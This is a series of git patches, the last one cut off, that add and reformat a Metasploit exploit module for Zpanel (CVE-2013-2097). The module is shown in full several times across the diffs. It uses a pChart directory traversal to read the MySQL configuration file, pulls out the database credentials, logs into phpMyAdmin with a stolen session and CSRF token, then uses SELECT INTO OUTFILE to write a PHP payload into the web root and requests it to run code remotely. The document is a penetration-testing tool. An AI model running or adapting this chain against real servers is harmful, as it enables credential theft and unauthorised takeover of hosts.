From 89a50c20d0b6e410fabbda14fa96034b8fce58a9 Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 13:29:53 -0400 Subject: [PATCH 1/7] Added Zpanel Exploit --- .../http/zpanel_information_disclosure_rce.rb | 270 ++++++++++++++++++ 1 file changed, 270 insertions(+) create mode 100644 modules/exploits/multi/http/zpanel_information_disclosure_rce.rb diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb new file mode 100644 index 0000000000..29d2b82510 --- /dev/null +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -0,0 +1,270 @@ +require 'msf/core' +require 'msf/core/exploit/php_exe' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2097' ], + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart + [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], + [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 30 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) + ], self.class) + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' => 'get', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + }, + 'version' => "1.1", + }) + + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + + return uname, passwd, dbname + + end + + def grab_sess_and_token(uri) + + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + 'version' => '1.1' + }) + + sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" + sess_id = sess_id[2..-3] + + if sess_id.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sess_id}") + + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version' => '1.1', + 'Cookie' => "PHPSESSID=#{sess_id}" + }) + + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sess_id + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie' => cookies, + 'ctype' => "application/x-www-form-urlencoded", + 'headers' => { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => "1", + 'lang' => "en", + 'collation_connection' => "utf8_general_ci", + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "PHPSESSID=#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good("PHPMyAdmin login successful!") + return new_cookies, token + end + + end + + def do_sql(cookies, token, uri) + + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version' => '1.1', + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => "XMLHttpRequest", + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => "0", + 'token' => token, + 'pos' => "0", + 'goto' => "server_sql.php", + 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query' => "", + 'sql_query' => sql_stmt, + 'sql_delimiter' => ";", + 'show_query' => "1", + 'ajax_request' => "true", + '_nocache' => rand.to_s[2..19].to_i + }, + }) + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "#{fname}"), + 'version' => '1.1' + }) + + else + print_error("#{res.body.to_s}") + end + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + # Checking pChart + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") + }) + + # if pChart is vuln version + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash(uri) + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] + + if uname.length > 0 and passwd.length > 0 + print_good("Directory traversal successful, Username/Password identified!") + print_good("Username: #{uname.to_s}") + print_good("Password: #{passwd.to_s}") + print_good("DB Name: #{db_name.to_s}") + + cookies, token, sess_id = grab_sess_and_token(uri) + + print_status("Logging into PHPMyAdmin now") + cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + + print_status("Uploading malicious payload now") + do_sql(cookies, token, uri) + + else + print_error("It appears that the directory traversal was unsuccessful...") + end + + else + print_error("It appears that the version of pChart is not vulnerable...") + end + + end +end From 9f71fd9bfd32c1d6a718c6a0becbf059c1aeeaab Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:23:07 -0400 Subject: [PATCH 2/7] Formatting ZPanel Exploit --- .../http/zpanel_information_disclosure_rce.rb | 54 +++++++++---------- 1 file changed, 25 insertions(+), 29 deletions(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 29d2b82510..ca70eb796a 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -2,35 +2,35 @@ require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote - Rank = GreatRanking + Rank = GreatRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - include Msf::Exploit::PhpEXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Zpanel Remote Unauthenticated RCE', - 'Description' => %q{ - This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a - vulnerable version of pChart allowing remote, unauthenticated, - users to read arbitrary files found on the filesystem. This - particular module utilizes this vulnerability to identify the - username/password combination of the MySQL instance. With the - credentials the attackers can login to PHPMyAdmin and execute - SQL commands to drop a malicious payload on the filesystem and - call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com - ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], 'License' => MSF_LICENSE, 'References' => - [ + [ [ 'CVE', '2013-2097' ], [ 'EDB', '31173' ], # pChart [ 'OSVDB', '102595' ], # pChart @@ -76,7 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) return uname, passwd, dbname - end def grab_sess_and_token(uri) @@ -121,7 +120,6 @@ class Metasploit3 < Msf::Exploit::Remote else print_error("PHPSESSID could not be identified...") end - end def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) @@ -175,7 +173,6 @@ class Metasploit3 < Msf::Exploit::Remote print_good("PHPMyAdmin login successful!") return new_cookies, token end - end def do_sql(cookies, token, uri) @@ -265,6 +262,5 @@ class Metasploit3 < Msf::Exploit::Remote else print_error("It appears that the version of pChart is not vulnerable...") end - end end From 6406a66bc036ac5e65c00b2d11546c8f8a5d827e Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:24:46 -0400 Subject: [PATCH 3/7] Remove Ranking --- modules/exploits/multi/http/zpanel_information_disclosure_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index ca70eb796a..0865c7d93b 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote - Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper From 4ee7ba05aa2e2f5d38923e3bc4f3ad2c43278151 Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:31:46 -0400 Subject: [PATCH 4/7] Removing hard tabs test --- modules/exploits/multi/http/test.rb | 265 ++++++++++++++++++++++++++++ 1 file changed, 265 insertions(+) create mode 100644 modules/exploits/multi/http/test.rb diff --git a/modules/exploits/multi/http/test.rb b/modules/exploits/multi/http/test.rb new file mode 100644 index 0000000000..cfdecfb7cf --- /dev/null +++ b/modules/exploits/multi/http/test.rb @@ -0,0 +1,265 @@ +require 'msf/core' +require 'msf/core/exploit/php_exe' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2097' ], + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart + [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], + [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 30 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) + ], self.class) + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' => 'get', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + }, + 'version' => "1.1", + }) + + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + + return uname, passwd, dbname + end + + def grab_sess_and_token(uri) + + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + 'version' => '1.1' + }) + + sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" + sess_id = sess_id[2..-3] + + if sess_id.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sess_id}") + + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version' => '1.1', + 'Cookie' => "PHPSESSID=#{sess_id}" + }) + + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sess_id + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie' => cookies, + 'ctype' => "application/x-www-form-urlencoded", + 'headers' => { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => "1", + 'lang' => "en", + 'collation_connection' => "utf8_general_ci", + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "PHPSESSID=#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good("PHPMyAdmin login successful!") + return new_cookies, token + end + end + + def do_sql(cookies, token, uri) + + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version' => '1.1', + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => "XMLHttpRequest", + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => "0", + 'token' => token, + 'pos' => "0", + 'goto' => "server_sql.php", + 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query' => "", + 'sql_query' => sql_stmt, + 'sql_delimiter' => ";", + 'show_query' => "1", + 'ajax_request' => "true", + '_nocache' => rand.to_s[2..19].to_i + }, + }) + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "#{fname}"), + 'version' => '1.1' + }) + + else + print_error("#{res.body.to_s}") + end + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + # Checking pChart + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") + }) + + # if pChart is vuln version + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash(uri) + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] + + if uname.length > 0 and passwd.length > 0 + print_good("Directory traversal successful, Username/Password identified!") + print_good("Username: #{uname.to_s}") + print_good("Password: #{passwd.to_s}") + print_good("DB Name: #{db_name.to_s}") + + cookies, token, sess_id = grab_sess_and_token(uri) + + print_status("Logging into PHPMyAdmin now") + cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + + print_status("Uploading malicious payload now") + do_sql(cookies, token, uri) + + else + print_error("It appears that the directory traversal was unsuccessful...") + end + + else + print_error("It appears that the version of pChart is not vulnerable...") + end + end +end From 5eff3e5637ee4164cb51585290afe2e09fc9179b Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 14:34:00 -0400 Subject: [PATCH 5/7] Removed hard tabs --- modules/exploits/multi/http/test.rb | 265 --------- .../http/zpanel_information_disclosure_rce.rb | 530 +++++++++--------- 2 files changed, 265 insertions(+), 530 deletions(-) delete mode 100644 modules/exploits/multi/http/test.rb diff --git a/modules/exploits/multi/http/test.rb b/modules/exploits/multi/http/test.rb deleted file mode 100644 index cfdecfb7cf..0000000000 --- a/modules/exploits/multi/http/test.rb +++ /dev/null @@ -1,265 +0,0 @@ -require 'msf/core' -require 'msf/core/exploit/php_exe' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - include Msf::Exploit::PhpEXE - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Zpanel Remote Unauthenticated RCE', - 'Description' => %q{ - This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a - vulnerable version of pChart allowing remote, unauthenticated, - users to read arbitrary files found on the filesystem. This - particular module utilizes this vulnerability to identify the - username/password combination of the MySQL instance. With the - credentials the attackers can login to PHPMyAdmin and execute - SQL commands to drop a malicious payload on the filesystem and - call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ], # pChart - [ 'OSVDB', '102595' ], # pChart - [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], - [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] - ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 30 2014')) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end - - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method' => 'get', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get' => { - 'Action' => 'View', - 'Script' => '../../../../cnf/db.php' - }, - 'version' => "1.1", - }) - - uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) - - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - - return uname, passwd, dbname - end - - def grab_sess_and_token(uri) - - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}"), - 'version' => '1.1' - }) - - sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" - sess_id = sess_id[2..-3] - - if sess_id.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sess_id}") - - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version' => '1.1', - 'Cookie' => "PHPSESSID=#{sess_id}" - }) - - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies - - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" - - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sess_id - else - print_error("CSRF token could not be identified...") - end - else - print_error("PHPSESSID could not be identified...") - end - end - - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie' => cookies, - 'ctype' => "application/x-www-form-urlencoded", - 'headers' => { - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post' => { - 'pma_username' => uname, - 'pma_password' => passwd, - 'server' => "1", - 'lang' => "en", - 'collation_connection' => "utf8_general_ci", - 'token' => token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "PHPSESSID=#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie' => new_cookies, - 'vars_get' => { - 'token' => token - } - }) - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ - print_good("PHPMyAdmin login successful!") - return new_cookies, token - end - end - - def do_sql(cookies, token, uri) - - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version' => '1.1', - 'cookie' => cookies, - 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', - 'headers' => { - 'X-Requested-With' => "XMLHttpRequest", - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post' => { - 'is_js_confirmed' => "0", - 'token' => token, - 'pos' => "0", - 'goto' => "server_sql.php", - 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query' => "", - 'sql_query' => sql_stmt, - 'sql_delimiter' => ";", - 'show_query' => "1", - 'ajax_request' => "true", - '_nocache' => rand.to_s[2..19].to_i - }, - }) - - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") - - print_status("Executing '#{fname}' on the remote host") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "#{fname}"), - 'version' => '1.1' - }) - - else - print_error("#{res.body.to_s}") - end - end - - def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - - # Checking pChart - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") - }) - - # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash(uri) - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] - - if uname.length > 0 and passwd.length > 0 - print_good("Directory traversal successful, Username/Password identified!") - print_good("Username: #{uname.to_s}") - print_good("Password: #{passwd.to_s}") - print_good("DB Name: #{db_name.to_s}") - - cookies, token, sess_id = grab_sess_and_token(uri) - - print_status("Logging into PHPMyAdmin now") - cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - - print_status("Uploading malicious payload now") - do_sql(cookies, token, uri) - - else - print_error("It appears that the directory traversal was unsuccessful...") - end - - else - print_error("It appears that the version of pChart is not vulnerable...") - end - end -end diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 0865c7d93b..cfdecfb7cf 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -1,265 +1,265 @@ -require 'msf/core' -require 'msf/core/exploit/php_exe' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - include Msf::Exploit::PhpEXE - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Zpanel Remote Unauthenticated RCE', - 'Description' => %q{ - This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a - vulnerable version of pChart allowing remote, unauthenticated, - users to read arbitrary files found on the filesystem. This - particular module utilizes this vulnerability to identify the - username/password combination of the MySQL instance. With the - credentials the attackers can login to PHPMyAdmin and execute - SQL commands to drop a malicious payload on the filesystem and - call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ], # pChart - [ 'OSVDB', '102595' ], # pChart - [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], - [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' 